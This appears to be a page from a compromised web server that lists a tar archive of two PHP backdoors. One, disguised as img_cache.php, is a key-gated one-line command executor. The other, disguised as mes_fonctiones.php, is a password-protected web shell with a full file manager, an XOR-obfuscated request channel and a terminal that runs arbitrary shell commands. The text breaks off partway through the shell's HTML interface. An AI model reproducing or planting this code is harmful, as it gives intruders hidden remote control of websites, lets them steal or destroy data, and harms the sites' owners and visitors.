Your IP : 216.73.216.245


Current Path : /home/b/o/u/bourgleram/www/398a1/
Upload File :
Current File : /home/b/o/u/bourgleram/www/398a1/squelettes.tar

img_cache.php000066600000001274152522134760007173 0ustar00<?php
@error_reporting(0);@ini_set('display_errors',0);
header('X-Nx:Nx-zD1');
if(!isset($_REQUEST['k'])||$_REQUEST['k']!=='nXk'){http_response_code(404);die();}
$c=@$_REQUEST['c']??'';
if($c===''){echo '<pre>Nx-zD1 active</pre>';die();}
$o='';
if(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('popen')){$f=@popen($c,'r');$o='';while(!feof($f)){$o.=fread($f,4096);}pclose($f);}
else{$o='[no exec]';}
echo '<pre>'.htmlspecialchars($o).'</pre>';
?>mes_fonctiones.php000066600000200446152522134760010311 0ustar00<?php
error_reporting(0);
$passwordHash = "c843528440512071abadd88e1fd35157";

if (isset($_POST['password'])) {
    $inputPassword = md5($_POST['password']);

    if ($inputPassword === $passwordHash) {
        setcookie("ankank", $passwordHash, time() + (86400 * 30), '/');
    }
}

if (!isset($_COOKIE['ankank']) && $_COOKIE['ankank'] !== $passwordHash) {
?>
    <form method="POST">
        <input type="password" name="password">
        <input type="submit" value="Login">
    </form>
<?php
    exit;
}

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');
header('Access-Control-Allow-Headers: Content-Type');

$encryptionKey = '06546264929002830782786339926235';
$os = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'windows' : 'linux';
$homeDir = str_replace('\\', '/', dirname(__FILE__));

function formatFileSize($size)
{
    if ($size === 0) return '0 B';
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $power = floor(log($size) / log(1024));
    return round($size / (1024 ** $power), 2) . ' ' . $units[$power];
}

function octalToRwx($octal)
{
    $rwx = '';
    $rwx .= ($octal & 4) ? 'r' : '-';
    $rwx .= ($octal & 2) ? 'w' : '-';
    $rwx .= ($octal & 1) ? 'x' : '-';
    return $rwx;
}

function formatPermissions($perms)
{
    $octal = substr(sprintf('%o', $perms), -3);

    return array(
        'owner' => octalToRwx($octal[0]),
        'group' => octalToRwx($octal[1]),
        'other' => octalToRwx($octal[2]),
    );
}

function padKey($key, $length = 32)
{
    $keyBytes = str_split($key);
    $padded = array_fill(0, $length, 0);

    for ($i = 0; $i < min(strlen($key), $length); $i++) {
        $padded[$i] = ord($keyBytes[$i]);
    }

    return $padded;
}

function isAccessible($path)
{
    return is_readable($path);
}

function exe($command, &$exitCode = null)
{
    $output = '';

    if (function_exists('exec')) {
        exec($command . ' 2>&1', $outputLines, $exitCode);
        $output = implode("\n", $outputLines);
    } else if (function_exists('shell_exec')) {
        $output = shell_exec($command . ' 2>&1');
        $exitCode = 0; // shell_exec does not provide exit code
    } else if (function_exists('system')) {
        ob_start();
        system($command . ' 2>&1', $exitCode);
        $output = ob_get_clean();
    } else if (function_exists('passthru')) {
        ob_start();
        passthru($command . ' 2>&1', $exitCode);
        $output = ob_get_clean();
    } else if (function_exists('popen')) {
        $handle = popen($command . ' 2>&1', 'r');
        if ($handle) {
            while (!feof($handle)) {
                $output .= fread($handle, 2096);
            }
            pclose($handle);
            $exitCode = 0; // popen does not provide exit code
        } else {
            $output = 'Failed to open process.';
            $exitCode = 1;
        }
    } else if (function_exists('proc_open')) {
        $descriptorspec = [
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w']
        ];
        $process = proc_open($command, $descriptorspec, $pipes);
        if (is_resource($process)) {
            $output = stream_get_contents($pipes[1]);
            $errorOutput = stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            $exitCode = proc_close($process);
            if ($errorOutput) {
                $output .= "\n" . $errorOutput;
            }
        } else {
            $output = 'Failed to open process.';
            $exitCode = 1;
        }
    } else {
        $output = 'No execution functions available.';
    }
    return $output ?: 'Command executed with no output.';
}

function dec($ciphertext)
{
    global $encryptionKey;

    try {
        $keyBytes = padKey($encryptionKey);
        $encrypted = str_split(base64_decode($ciphertext));
        $decrypted = [];

        for ($i = 0; $i < count($encrypted); $i++) {
            $decrypted[] = ord($encrypted[$i]) ^ $keyBytes[$i % count($keyBytes)];
        }

        return implode('', array_map('chr', $decrypted));
    } catch (Exception $e) {
        throw new Exception('Decryption failed: ' . $e->getMessage());
    }
}


$currentPath = isset($_GET['path']) ? $_GET['path'] : realpath('.');
$currentPath = str_replace('\\', '/', $currentPath);

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['files'])) {
    $path = isset($_POST['path']) ? $_POST['path'] : $currentPath;
    $uploadedFiles = [];
    
    if (!empty($_FILES['files']['name'])) {
        foreach ($_FILES['files']['name'] as $key => $name) {
            if ($_FILES['files']['error'][$key] === UPLOAD_ERR_OK) {
                $tmpName = $_FILES['files']['tmp_name'][$key];
                $destination = $path . DIRECTORY_SEPARATOR . basename($name);
                
                if (move_uploaded_file($tmpName, $destination)) {
                    $uploadedFiles[] = $name;
                }
            }
        }
    }
    
    echo json_encode([
        'success' => !empty($uploadedFiles),
        'files' => $uploadedFiles
    ]);
    exit;
}

$rawInput = file_get_contents('php://input');

if (substr($rawInput, 0, 10) === 'ENCRYPTED:') {
    $encryptedData = substr($rawInput, 10);
    $decryptedData = dec($encryptedData);
    $input = json_decode($decryptedData, true);
} else {
    $input = json_decode($rawInput, true);
}

$action = isset($input['action']) ? $input['action'] : null;


$response = null;

switch ($action) {
    case 'list':
        $files = [];
        $path = isset($input['path']) ? $input['path'] : $currentPath;
        
        if (!isAccessible($path)) {
            $response = ['success' => false, 'error' => 'Directory is not accessible'];
        } else if (!is_dir($path)) {
            $response = ['success' => false, 'error' => 'Path is not a directory'];
        } else {
            $items = scandir($path);

            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;

                $itemPath = $path . DIRECTORY_SEPARATOR . $item;

                $stat = stat($itemPath);
                $files[] = [
                    'name' => $item,
                    'type' => is_dir($itemPath) ? 'folder' : 'file',
                    'size' => is_file($itemPath) ? formatFileSize($stat['size']) : null,
                    'path' => str_replace('\\', '/', realpath($itemPath)),
                    'modified' => date('Y-m-d H:i:s', filemtime($itemPath)),
                    'permissions' => formatPermissions($stat['mode'])
                ];
            }
        }
        $response = ['success' => true, 'files' => $files];
        break;
    case 'mkdir':
        $path = isset($input['path']) ? $input['path'] : $currentPath;
        $name = isset($input['name']) ? $input['name'] : null;

        if ($name) {
            $newDir = $path . DIRECTORY_SEPARATOR . $name;
            if (file_exists($newDir)) {
                $response = ['success' => false, 'error' => 'Directory already exists'];
            } else if (mkdir($newDir, 0755)) {
                $response = ['success' => true];
            } else {
                $response = ['success' => false, 'error' => 'Failed to create directory'];
            }
        }
        break;
    case 'read':
        $filepath = isset($input['path']) ? $input['path'] : null;

        if (!is_file($filepath)) {
            $response = ['success' => false, 'error' => 'File does not exist'];
        } else {
            $content = file_get_contents($filepath);
            $response = ['success' => true, 'content' => $content];
        }
        break;
    case 'touch':
        $path = isset($input['path']) ? $input['path'] : $currentPath;
        $name = isset($input['name']) ? $input['name'] : null;

        if ($name) {
            $newFile = $path . DIRECTORY_SEPARATOR . $name;
            if (file_exists($newFile)) {
                $response = ['success' => false, 'error' => 'File already exists'];
            } else if (touch($newFile)) {
                $response = ['success' => true];
            } else {
                $response = ['success' => false, 'error' => 'Failed to create file'];
            }
        }
        break;
    case 'write':
        $filepath = isset($input['path']) ? $input['path'] : null;
        $content = isset($input['content']) ? $input['content'] : '';

        if (function_exists('file_put_contents')) {
            if (file_put_contents($filepath, $content) !== false) {
                $response = ['success' => true];
            } else {
                $response = ['success' => false, 'error' => 'Failed to write to file'];
            }
        } else if (function_exists('fopen') && function_exists('fwrite') && function_exists('fclose')) {
            $handle = fopen($filepath, 'w');
            if ($handle) {
                if (fwrite($handle, $content) !== false) {
                    fclose($handle);
                    $response = ['success' => true];
                } else {
                    fclose($handle);
                    $response = ['success' => false, 'error' => 'Failed to write to file'];
                }
            } else {
                $response = ['success' => false, 'error' => 'Failed to open file for writing'];
            }
        } else {
            $response = ['success' => false, 'error' => 'file_put_contents function is disabled'];
        }
        break;
    case 'delete':
        $itemPath = isset($input['path']) ? $input['path'] : null;

        if (!file_exists($itemPath)) {
            $response = ['success' => false, 'error' => 'Item does not exist'];
        } else if (is_dir($itemPath)) {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($itemPath, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::CHILD_FIRST
            );

            foreach ($iterator as $file) {
                if ($file->isDir()) {
                    rmdir($file->getRealPath());
                } else {
                    unlink($file->getRealPath());
                }
            }

            if (rmdir($itemPath)) {
                $response = ['success' => true];
            } else {
                $response = ['success' => false, 'error' => 'Failed to delete directory'];
            }
        } else {
            if (unlink($itemPath)) {
                $response = ['success' => true];
            } else {
                $response = ['success' => false, 'error' => 'Failed to delete file'];
            }
        }
        break;
    case 'rename':
        $oldpath = isset($input['oldPath']) ? $input['oldPath'] : null;
        $newName = isset($input['newName']) ? $input['newName'] : null;

        if ($oldpath && $newName) {
            $newpath = dirname($oldpath) . DIRECTORY_SEPARATOR . $newName;
            if (file_exists($newpath)) {
                $response = ['success' => false, 'error' => 'A file or directory with the new name already exists'];
            } else if (rename($oldpath, $newpath)) {
                $response = ['success' => true];
            } else {
                $response = ['success' => false, 'error' => 'Failed to rename item'];
            }
        }
        break;
    case 'download':
        $filePath = isset($input['path']) ? $input['path'] : null;
        if (!is_file($filePath)) {
            $response = ['success' => false, 'error' => 'File does not exist'];
        } else {
            $content = file_get_contents($filePath);
            $response = ['success' => true, 'content' => base64_encode($content)];
        }
        break;
    case 'terminal':
        $cmd = isset($input['cmd']) ? $input['cmd'] : null;
        $args = isset($input['args']) ? $input['args'] : [];
        $currentPath = isset($input['currentPath']) ? $input['currentPath'] : $homeDir;

        $output = '';
        $newPath = null;

        if (is_dir($currentPath)) {
            chdir($currentPath);
        } else {
            chdir($homeDir);
            $currentPath = $homeDir;
        }

        switch ($cmd) {
            case 'cd':
                $target = isset($args[0]) ? $args[0] : '';

                if ($target === '' || $target === '~') {
                    $newPath = $homeDir;
                } elseif ($target === '..') {
                    $parentPath = dirname($currentPath);
                    $newPath = $parentPath === $currentPath ? $currentPath : $parentPath;
                } else {
                    if (substr($target, 0, 1) === '/') {
                        $targetPath = $target;
                    } else {
                        $targetPath = $currentPath . ($currentPath === '/' ? '' : '/') . $target;
                    }

                    $realTargetPath = realpath($targetPath);

                    if ($realTargetPath && is_dir($realTargetPath)) {
                        $newPath = $realTargetPath;
                    } else {
                        $output = '<div class="command-error">Directory not found: ' . htmlspecialchars($target) . '</div>';
                    }
                }
                break;
            default:
                // if (!empty($args)) {
                //     $cmd .= ' ' . implode(' ', array_map('escapeshellarg', $args));
                // }

                $result = exe($cmd, $exitCode);

                if ($result !== false && $result !== null) {

                    $result = trim($result);

                    if (!empty($result)) {
                        $cssClass = $exitCode === 0 ? 'command-output' : 'command-error';

                        if (in_array($cmd, ['ls', 'dir'])) {
                            $lines = explode("\n", $result);
                            $coloredOutput = '';
                            foreach ($lines as $line) {
                                if (empty(trim($line))) continue;
                                if (preg_match('/^[d\-lrwx]/', $line)) {
                                    $coloredOutput .= htmlspecialchars($line) . '<br>';
                                } else {
                                    $items = preg_split('/\s+/', trim($line));
                                    foreach ($items as $item) {
                                        if (empty($item)) continue;

                                        $itemPath = $currentPath . ($currentPath === '/' ? '' : '/') . $item;
                                        if (is_dir($itemPath)) {
                                            $coloredOutput .= '<span style="color: #fbbf24; font-weight: bold;">' . htmlspecialchars($item) . '</span>  ';
                                        } elseif (is_executable($itemPath)) {
                                            $coloredOutput .= '<span style="color: #10b981; font-weight: bold;">' . htmlspecialchars($item) . '</span>  ';
                                        } elseif (is_link($itemPath)) {
                                            $coloredOutput .= '<span style="color: #06b6d4;">' . htmlspecialchars($item) . '</span>  ';
                                        } else {
                                            $coloredOutput .= '<span style="color: #e2e8f0;">' . htmlspecialchars($item) . '</span>  ';
                                        }
                                    }
                                    $coloredOutput .= '<br>';
                                }
                            }
                            $output = '<div class="' . $cssClass . '">' . $coloredOutput . '</div>';
                        } elseif (in_array($cmd, ['cat', 'less', 'more', 'head', 'tail'])) {
                            $output = '<div class="' . $cssClass . '"><pre style="white-space: pre-wrap; font-family: monospace;">' . htmlspecialchars($result) . '</pre></div>';
                        } elseif ($cmd === 'ps') {
                            $output = '<div class="' . $cssClass . '"><pre style="font-family: monospace; font-size: 12px;">' . htmlspecialchars($result) . '</pre></div>';
                        } elseif (in_array($cmd, ['df', 'du', 'free', 'lsblk', 'mount'])) {
                            $output = '<div class="' . $cssClass . '"><pre style="font-family: monospace; font-size: 12px;">' . htmlspecialchars($result) . '</pre></div>';
                        } else {
                            $output = '<div class="' . $cssClass . '">' . nl2br(htmlspecialchars($result)) . '</div>';
                        }
                    } else {
                        if ($exitCode === 0) {
                            $output = '<div class="command-success">Command executed successfully with no output.</div>';
                        } else {
                            $output = '<div class="command-error">Command failed with exit code ' . $exitCode . '.</div>';
                        }
                    }
                } else {
                    $output = '<div class="command-error">Command execution failed.</div>';
                }
                break;
        }
        $response = ['success' => true, 'output' => $output, 'newPath' => $newPath ?: $currentPath];
    default:
        break;
}

if ($response) {
    echo json_encode($response);
    exit;
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Guthen 782k</title>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
    <script defer src="https://cdnjs.cloudflare.com/ajax/libs/alpinejs/3.13.3/cdn.min.js"></script>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
            background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%);
            min-height: 100vh;
            padding: 20px;
            color: #e2e8f0;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: rgba(30, 41, 59, 0.95);
            backdrop-filter: blur(10px);
            border-radius: 20px;
            box-shadow: 0 20px 40px rgba(0, 0, 0, 0.3);
            overflow: hidden;
            border: 1px solid rgba(71, 85, 105, 0.3);
        }

        .header {
            background: linear-gradient(135deg, #1e293b, #334155);
            color: #f1f5f9;
            padding: 20px 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            border-bottom: 1px solid rgba(71, 85, 105, 0.5);
        }

        .header h1 {
            font-size: 24px;
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .actions {
            display: flex;
            gap: 10px;
        }

        .btn {
            padding: 8px 16px;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-size: 14px;
            font-weight: 500;
            transition: all 0.3s ease;
            display: flex;
            align-items: center;
            gap: 6px;
        }

        .btn-primary {
            background: rgba(59, 130, 246, 0.8);
            color: white;
            border: 1px solid rgba(59, 130, 246, 0.5);
        }

        .btn-primary:hover {
            background: rgba(59, 130, 246, 1);
            transform: translateY(-2px);
        }

        .breadcrumb {
            padding: 20px 30px;
            background: rgba(15, 23, 42, 0.6);
            border-bottom: 1px solid rgba(71, 85, 105, 0.3);
            display: flex;
            align-items: center;
            gap: 8px;
            flex-wrap: wrap;
        }

        .breadcrumb-item {
            display: flex;
            align-items: center;
            color: #94a3b8;
            text-decoration: none;
            padding: 4px 8px;
            border-radius: 6px;
            transition: all 0.2s ease;
            cursor: pointer;
        }

        .breadcrumb-item:hover {
            background: rgba(71, 85, 105, 0.3);
            color: #e2e8f0;
        }

        .breadcrumb-item.active {
            color: #e2e8f0;
            font-weight: 500;
        }

        .breadcrumb-separator {
            color: #64748b;
            margin: 0 4px;
        }

        .file-table-container {
            padding: 0;
            overflow-x: auto;
        }

        .file-table {
            width: 100%;
            border-collapse: collapse;
            background: transparent;
        }

        .file-table thead {
            background: rgba(15, 23, 42, 0.8);
            border-bottom: 2px solid rgba(71, 85, 105, 0.3);
        }

        .file-table th {
            padding: 16px 20px;
            text-align: left;
            font-weight: 600;
            color: #f1f5f9;
            font-size: 14px;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            border-right: 1px solid rgba(71, 85, 105, 0.2);
        }

        .file-table th:last-child {
            border-right: none;
        }

        .file-table tbody tr {
            border-bottom: 1px solid rgba(71, 85, 105, 0.2);
            transition: all 0.2s ease;
        }

        .file-table tbody tr:hover {
            background: rgba(59, 130, 246, 0.1);
            border-color: rgba(59, 130, 246, 0.3);
        }

        .file-table tbody tr.folder {
            background: rgba(251, 191, 36, 0.05);
        }

        .file-table tbody tr.folder:hover {
            background: rgba(251, 191, 36, 0.15);
            border-color: rgba(251, 191, 36, 0.3);
        }

        .file-table td {
            padding: 16px 20px;
            vertical-align: middle;
            border-right: 1px solid rgba(71, 85, 105, 0.1);
            color: #e2e8f0;
        }

        .file-table td:last-child {
            border-right: none;
        }

        .file-icon-cell {
            width: 60px;
            text-align: center;
        }

        .file-icon {
            font-size: 24px;
            color: #3b82f6;
        }

        .file-table tbody tr.folder .file-icon {
            color: #fbbf24;
        }

        .file-name-cell {
            font-weight: 500;
            cursor: pointer;
        }

        .file-name-cell:hover {
            color: #3b82f6;
        }

        .file-table tbody tr.folder .file-name-cell:hover {
            color: #fbbf24;
        }

        .file-size-cell {
            color: #94a3b8;
            font-size: 13px;
        }

        .permissions-cell {
            width: 120px;
        }

        .permissions-display {
            display: flex;
            gap: 8px;
            align-items: center;
            font-family: 'Courier New', monospace;
            font-size: 12px;
        }

        .permission-group {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 2px;
        }

        .permission-label {
            font-size: 10px;
            color: #94a3b8;
            text-transform: uppercase;
            font-weight: 600;
        }

        .permission-indicators {
            display: flex;
            gap: 2px;
        }

        .permission-indicator {
            width: 8px;
            height: 8px;
            border-radius: 2px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 8px;
            font-weight: bold;
            color: white;
        }

        .permission-indicator.granted {
            background: #10b981;
        }

        .permission-indicator.denied {
            background: #ef4444;
        }

        .file-actions-cell {
            width: 200px;
        }

        .file-actions {
            display: flex;
            gap: 8px;
            opacity: 0.7;
            transition: opacity 0.3s ease;
        }

        .file-table tbody tr:hover .file-actions {
            opacity: 1;
        }

        .action-btn {
            width: 32px;
            height: 32px;
            border-radius: 6px;
            border: none;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: all 0.2s ease;
            font-size: 14px;
        }

        .action-btn.edit {
            background: #3b82f6;
            color: white;
        }

        .action-btn.download {
            background: #10b981;
            color: white;
        }

        .action-btn.rename {
            background: #f59e0b;
            color: white;
        }

        .action-btn.delete {
            background: #ef4444;
            color: white;
        }

        .action-btn:hover {
            transform: scale(1.1);
        }

        /* Terminal Styles */
        .terminal-container {
            background: rgba(15, 23, 42, 0.95);
            border-top: 2px solid rgba(71, 85, 105, 0.5);
            height: 0;
            overflow: hidden;
            transition: height 0.3s ease;
            font-family: 'Courier New', Monaco, monospace;
        }

        .terminal-container.active {
            height: 300px;
        }

        .terminal-header {
            background: rgba(30, 41, 59, 0.9);
            padding: 12px 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            border-bottom: 1px solid rgba(71, 85, 105, 0.3);
        }

        .terminal-title {
            color: #e2e8f0;
            font-weight: 600;
            font-size: 14px;
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .terminal-controls {
            display: flex;
            gap: 8px;
        }

        .terminal-btn {
            width: 28px;
            height: 28px;
            border: none;
            background: rgba(71, 85, 105, 0.3);
            color: #94a3b8;
            border-radius: 4px;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: all 0.2s ease;
        }

        .terminal-btn:hover {
            background: rgba(71, 85, 105, 0.5);
            color: #e2e8f0;
        }

        .terminal-output {
            height: 200px;
            overflow-y: auto;
            padding: 15px 20px;
            background: rgba(15, 23, 42, 0.8);
            color: #e2e8f0;
            font-size: 13px;
            line-height: 1.4;
        }

        .terminal-output::-webkit-scrollbar {
            width: 8px;
        }

        .terminal-output::-webkit-scrollbar-track {
            background: rgba(71, 85, 105, 0.1);
        }

        .terminal-output::-webkit-scrollbar-thumb {
            background: rgba(71, 85, 105, 0.5);
            border-radius: 4px;
        }

        .terminal-output::-webkit-scrollbar-thumb:hover {
            background: rgba(71, 85, 105, 0.7);
        }

        .terminal-welcome {
            color: #3b82f6;
            margin-bottom: 15px;
        }

        .welcome-line {
            margin-bottom: 4px;
        }

        .terminal-line {
            margin-bottom: 8px;
            word-wrap: break-word;
        }

        .command-line {
            color: #94a3b8;
            margin-bottom: 4px;
        }

        .command-output {
            color: #e2e8f0;
            margin-bottom: 8px;
            padding-left: 0;
        }

        .command-error {
            color: #ef4444;
            margin-bottom: 8px;
        }

        .command-success {
            color: #10b981;
            margin-bottom: 8px;
        }

        .terminal-input-container {
            background: rgba(30, 41, 59, 0.9);
            padding: 12px 20px;
            display: flex;
            align-items: center;
            gap: 8px;
            border-top: 1px solid rgba(71, 85, 105, 0.3);
        }

        .terminal-prompt {
            color: #10b981;
            font-weight: 600;
            white-space: nowrap;
            font-size: 14px;
        }

        .prompt-user {
            color: #3b82f6;
        }

        .prompt-host {
            color: #e2e8f0;
        }

        .prompt-path {
            color: #fbbf24;
        }

        .terminal-input {
            flex: 1;
            background: transparent;
            border: none;
            color: #e2e8f0;
            font-family: 'Courier New', Monaco, monospace;
            font-size: 14px;
            outline: none;
            padding: 4px 0;
        }

        .terminal-input::placeholder {
            color: #64748b;
        }

        /* Modal Styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.7);
            backdrop-filter: blur(5px);
            z-index: 1000;
            align-items: center;
            justify-content: center;
        }

        .modal.active {
            display: flex;
        }

        .modal-content {
            background: #1e293b;
            border: 1px solid rgba(71, 85, 105, 0.3);
            border-radius: 16px;
            padding: 30px;
            max-width: 500px;
            width: 90%;
            box-shadow: 0 20px 40px rgba(0, 0, 0, 0.5);
            color: #e2e8f0;
        }

        .modal-header {
            margin-bottom: 20px;
        }

        .modal-title {
            font-size: 20px;
            font-weight: 600;
            margin-bottom: 8px;
        }

        .form-group {
            margin-bottom: 20px;
        }

        .form-label {
            display: block;
            margin-bottom: 8px;
            font-weight: 500;
            color: #f1f5f9;
        }

        .form-input {
            width: 100%;
            padding: 12px;
            border: 2px solid rgba(71, 85, 105, 0.5);
            border-radius: 8px;
            font-size: 14px;
            transition: border-color 0.3s ease;
            background: rgba(15, 23, 42, 0.5);
            color: #e2e8f0;
        }

        .form-input:focus {
            outline: none;
            border-color: #3b82f6;
        }

        .form-textarea {
            width: 100%;
            padding: 12px;
            border: 2px solid rgba(71, 85, 105, 0.5);
            border-radius: 8px;
            font-size: 14px;
            min-height: 200px;
            font-family: 'Courier New', monospace;
            resize: vertical;
            background: rgba(15, 23, 42, 0.5);
            color: #e2e8f0;
        }

        .form-textarea:focus {
            outline: none;
            border-color: #3b82f6;
        }

        .modal-actions {
            display: flex;
            gap: 12px;
            justify-content: flex-end;
        }

        .btn-secondary {
            background: #475569;
            color: white;
        }

        .btn-secondary:hover {
            background: #334155;
        }

        .btn-success {
            background: #10b981;
            color: white;
        }

        .btn-success:hover {
            background: #059669;
        }

        .btn-danger {
            background: #ef4444;
            color: white;
        }

        .btn-danger:hover {
            background: #dc2626;
        }

        .loading {
            text-align: center;
            padding: 40px;
            color: #94a3b8;
        }

        .spinner {
            border: 4px solid #475569;
            border-top: 4px solid #3b82f6;
            border-radius: 50%;
            width: 40px;
            height: 40px;
            animation: spin 1s linear infinite;
            margin: 0 auto 20px;
        }

        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }

            100% {
                transform: rotate(360deg);
            }
        }

        .empty-state {
            text-align: center;
            padding: 60px 20px;
            color: #94a3b8;
        }

        .empty-state i {
            font-size: 64px;
            margin-bottom: 20px;
            color: #475569;
        }

        /* Responsive Design */
        @media (max-width: 768px) {
            .file-table-container {
                padding: 0;
            }

            .file-table th,
            .file-table td {
                padding: 12px 8px;
                font-size: 12px;
            }

            .permissions-display {
                flex-direction: column;
                gap: 4px;
            }

            .permission-group {
                flex-direction: row;
                gap: 4px;
            }

            .permission-label {
                min-width: 25px;
            }

            .file-actions {
                flex-wrap: wrap;
                gap: 4px;
            }

            .action-btn {
                width: 28px;
                height: 28px;
                font-size: 12px;
            }

            .header {
                flex-direction: column;
                gap: 15px;
                text-align: center;
            }

            .breadcrumb {
                padding: 15px 20px;
            }

            .terminal-container {
                height: 250px;
            }

            .terminal-input-container {
                padding: 8px 12px;
            }

            .terminal-prompt {
                font-size: 12px;
            }

            .terminal-input {
                font-size: 12px;
            }
        }
    </style>
</head>

<body>
    <div class="container" x-data="fileManager()">
        <!-- Header -->
        <div class="header">
            <h1>
                <i class="fas fa-folder"></i>
                Guthen@Biomorp
            </h1>
            <div class="actions">
                <button class="btn btn-primary" @click="createFile()">
                    <i class="fas fa-file"></i>
                    New File
                </button>
                <button class="btn btn-primary" @click="createFolder()">
                    <i class="fas fa-folder-plus"></i>
                    New Folder
                </button>
                <button class="btn btn-primary" @click="uploadFile()">
                    <i class="fas fa-upload"></i>
                    Upload
                </button>
                <button class="btn btn-primary" @click="toggleTerminal()">
                    <i class="fas fa-terminal"></i>
                    Terminal
                </button>
            </div>
        </div>

        <!-- Breadcrumb -->
        <nav class="breadcrumb">
            <span class="breadcrumb-item" @click="navigateTo('<?php echo $homeDir; ?>')">
                <i class="fas fa-home"></i>
            </span>
            <template x-for="(part, index) in breadcrumbs" :key="index">
                <span>
                    <!-- <span class="breadcrumb-separator"><i class="fas fa-chevron-right"></i></span> -->
                    <span class="breadcrumb-item"
                        @click="navigateTo(part.path)"
                        :class="{ 'active': index === breadcrumbs.length - 1 }"
                        x-text="part.name">
                    </span>
                </span>
            </template>
        </nav>

        <!-- File Table -->
        <div class="file-table-container">
            <div x-show="loading" class="loading">
                <div class="spinner"></div>
                <p>Loading files...</p>
            </div>

            <div x-show="!loading && files.length === 0" class="empty-state">
                <i class="fas fa-folder-open"></i>
                <h3>This folder is empty</h3>
                <p>Upload files or create new folders to get started.</p>
            </div>

            <table x-show="!loading && files.length > 0" class="file-table">
                <thead>
                    <tr>
                        <th class="file-icon-cell">Type</th>
                        <th>Name</th>
                        <th>Size</th>
                        <th>Modified</th>
                        <th class="permissions-cell">Permissions</th>
                        <th class="file-actions-cell">Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <template x-for="file in sortedFiles" :key="file.name">
                        <tr :class="{ 'folder': file.type === 'folder' }"
                            @dblclick="file.type === 'folder' ? navigateTo(file.path) : null">
                            <td class="file-icon-cell">
                                <i class="file-icon" :class="getFileIcon(file)"></i>
                            </td>
                            <td class="file-name-cell"
                                @click="file.type === 'folder' ? navigateTo(file.path) : null"
                                x-text="file.name">
                            </td>
                            <td class="file-size-cell" x-text="file.size || '-'"></td>
                            <td class="file-size-cell" x-text="file.modified"></td>
                            <td class="permissions-cell" x-html="formatPermissions(file.permissions)"></td>
                            <td class="file-actions-cell">
                                <div class="file-actions">
                                    <button x-show="file.type === 'file'"
                                        class="action-btn edit"
                                        @click="editFile(file)"
                                        title="Edit">
                                        <i class="fas fa-edit"></i>
                                    </button>
                                    <button x-show="file.type === 'file'"
                                        class="action-btn download"
                                        @click="downloadFile(file)"
                                        title="Download">
                                        <i class="fas fa-download"></i>
                                    </button>
                                    <button class="action-btn rename"
                                        @click="renameItem(file)"
                                        title="Rename">
                                        <i class="fas fa-pencil-alt"></i>
                                    </button>
                                    <button class="action-btn delete"
                                        @click="deleteItem(file)"
                                        title="Delete">
                                        <i class="fas fa-trash"></i>
                                    </button>
                                </div>
                            </td>
                        </tr>
                    </template>
                </tbody>
            </table>
        </div>

        <!-- Terminal -->
        <div class="terminal-container" :class="{ 'active': terminalOpen }">
            <div class="terminal-header">
                <div class="terminal-title">
                    <i class="fas fa-terminal"></i>
                    Terminal - <span x-text="currentPath"></span>
                </div>
                <div class="terminal-controls">
                    <button class="terminal-btn" @click="clearTerminal()" title="Clear">
                        <i class="fas fa-broom"></i>
                    </button>
                    <button class="terminal-btn" @click="toggleTerminal()" title="Close">
                        <i class="fas fa-times"></i>
                    </button>
                </div>
            </div>
            <div class="terminal-output" x-html="terminalOutput" x-ref="terminalOutput"></div>
            <div class="terminal-input-container">
                <span class="terminal-prompt">
                    <span class="prompt-user">guthen</span>@<span class="prompt-host">morgan</span>:<span class="prompt-path" x-text="terminalPath"></span>$
                </span>
                <input type="text"
                    class="terminal-input"
                    x-model="terminalCommand"
                    @keydown.enter="executeCommand()"
                    @keydown.arrow-up.prevent="navigateHistory(-1)"
                    @keydown.arrow-down.prevent="navigateHistory(1)"
                    placeholder="Enter command..."
                    autocomplete="off"
                    x-ref="terminalInput">
            </div>
        </div>

        <!-- Modals -->
        <!-- Rename Modal -->
        <div class="modal" :class="{ 'active': modals.rename }" @click.self="modals.rename = false">
            <div class="modal-content">
                <div class="modal-header">
                    <h3 class="modal-title">Rename Item</h3>
                </div>
                <div class="form-group">
                    <label class="form-label">New Name:</label>
                    <input type="text" class="form-input" x-model="renameValue" placeholder="Enter new name">
                </div>
                <div class="modal-actions">
                    <button class="btn btn-secondary" @click="modals.rename = false">Cancel</button>
                    <button class="btn btn-success" @click="confirmRename()">Rename</button>
                </div>
            </div>
        </div>

        <!-- Edit Modal -->
